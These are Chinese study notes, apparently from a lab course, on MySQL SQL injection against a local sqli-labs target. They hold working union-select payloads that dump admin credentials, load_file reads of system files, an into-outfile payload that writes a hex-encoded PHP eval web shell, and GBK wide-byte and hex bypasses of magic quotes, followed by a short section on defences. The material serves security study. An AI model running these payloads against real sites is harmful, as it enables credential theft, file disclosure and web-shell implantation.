思维导图
【高权限注入及低权限注入】
高用户权限和低用户权限的不同
网站A=数据库A=管理员用户A 存在sql注入漏洞 Root 前提是具有高权限
网站B=数据库B=管理员用户B 没有存在sql注入漏洞
网站C=数据库C=管理员用户C
跨库查询思路
用高权限用户来跨数据库查询
1.获取所有数据库名
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata
原理:
SCHEMA_NAME有所有数据库的名字
2. 获取指定phpyun数据库名下的表名信息
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='phpyun'
table_name 是这个 information_schema.tables 表的列
3. 获取指定phpyun数据库下的表名phpyun_admin_user的列名信息
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='phpyun' and table_name='phpyun_admin_user'
4 获取指定phpyun数据库下的username、password数据
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,username,password from phpyun.phpyun_admin_user
【文件读写操作】
MySQL特有的函数
修改mysql.ini 文件,在[mysqld] 下加入
secure_file_priv =
前提条件
:
在mysql.ini配置文件添加参数secure_file_priv = [空]
1、load_file()
— 读取函数
在window 下的路径// 或者\\
都有结果 双写来转义
写法:?id=1 and 1=2 union select 1,load_file(‘C://boot.ini’),3–+
2、into outfile
或 into dumpfile
— 导出函数
写法:?id=1 and 1=2 union select 1,'x',3 into outfile 'C://a.txt'--+
写shell:
用
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+
路径获取常见方法
报错显示,遗留文件 phpinfo.php,漏洞报路径,平台配置文件,爆破等
报错显示:一般网站在出现错误的时候会泄露出路径
遗留文件:站长调试的时候遗留的信息文件,如phpinfo(),会泄露路径。用扫描工具可以扫描到
漏洞报错:知道对方是用什么程序搭建的网站,再去网上搜索相关爆路径漏洞
参考:
https://blog.csdn.net/qq_32108547/article/details/95650380
平台配置文件:通过读取文件来读取搭建平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径
爆破:
常见
读取文件列表:常见写入文件问题:魔术引号开关
magic_quotes_gpc
魔术引号:php内置的一个安全机制,默认是开启的,当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL
字符都会被自动加上一个反斜线进行转义
5.4.0版本以上的把这个功能撤除了
类似PHP中的addslashes()函数
魔术引号绕过方法
1、编码绕过 转成十六进制进行绕过
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,load_file
(0x433A2F2F7777772E747874),3–+
文件读取load_file ,用小葵转
2、宽字节绕过
(前提数据库编码是gbk
)
show variables like '%char%';
查看编码系统字符集设置
set character_set_client = gbk;
修改字符集编码方式
参考链接:https://blog.csdn.net/qq_46091464/article/details/105893529
?id=1’ and 1=2–+ 初始注入语句,发现行不通
sqlmap.py -u "url" --batch --tamper=unmagicquotes.py --current-db
unmagicquotes.py 是专门进行宽字节绕过脚本
\ %5c
' %27
?id=1%df’ and 1=2–+
?id=1%df%5c%27 and 1=2–+
倘若网站的字符集是GBK,mysql使用的编码也是GBK的话,就会认为“ %df%5c%27 ”是一个宽字节。结合(因为宽字节是占两个字节),也就是“縗”
低版本注入 (MySQL版本<5.0,90、00年老站)
配合读取或暴力(没有information_schema自带的数据库)
通过字典跑或猜,工具再进行读取
(常用)或通过文件读取收集路径信息
(少见,一般首选植入后门)
【演示实验】
高权限注入跨库查询操作测试
高权限注入文件读写操作测试
魔术引号开启后相关操作测试 宽字节绕过:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 在线靶场
【涉及资源】
https://blog.csdn.net/weixin_30292843/article/details/99381669
常见的load_file()读取的敏感信息
防注入手段
魔术引号及常见防护
魔术引号开关:magic_quotes_gpc
在magic_quotes_gpc=ON的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL( )等字符都会被加上反斜线,即被转义。在PHP6中删除了这个选项
绕过魔术引号方法:编码或宽字节
绕过,如将网址转换成十六进制编码
内置函数
addslashes() 效果同魔术引号
is_int() 、is_integer()、is_long() 不可绕过
……
关键字过滤
把特定的关键字替换为空或把含有特定关键字的语句丢弃,WAF好用
尝试大小写、编码、双写等方法绕过,如果过滤设置的全面则无法绕过
WAF
一般基于上述内置函数和关键字过滤,主要是关键字
参考:https://www.bilibili.com/read/cv12500977/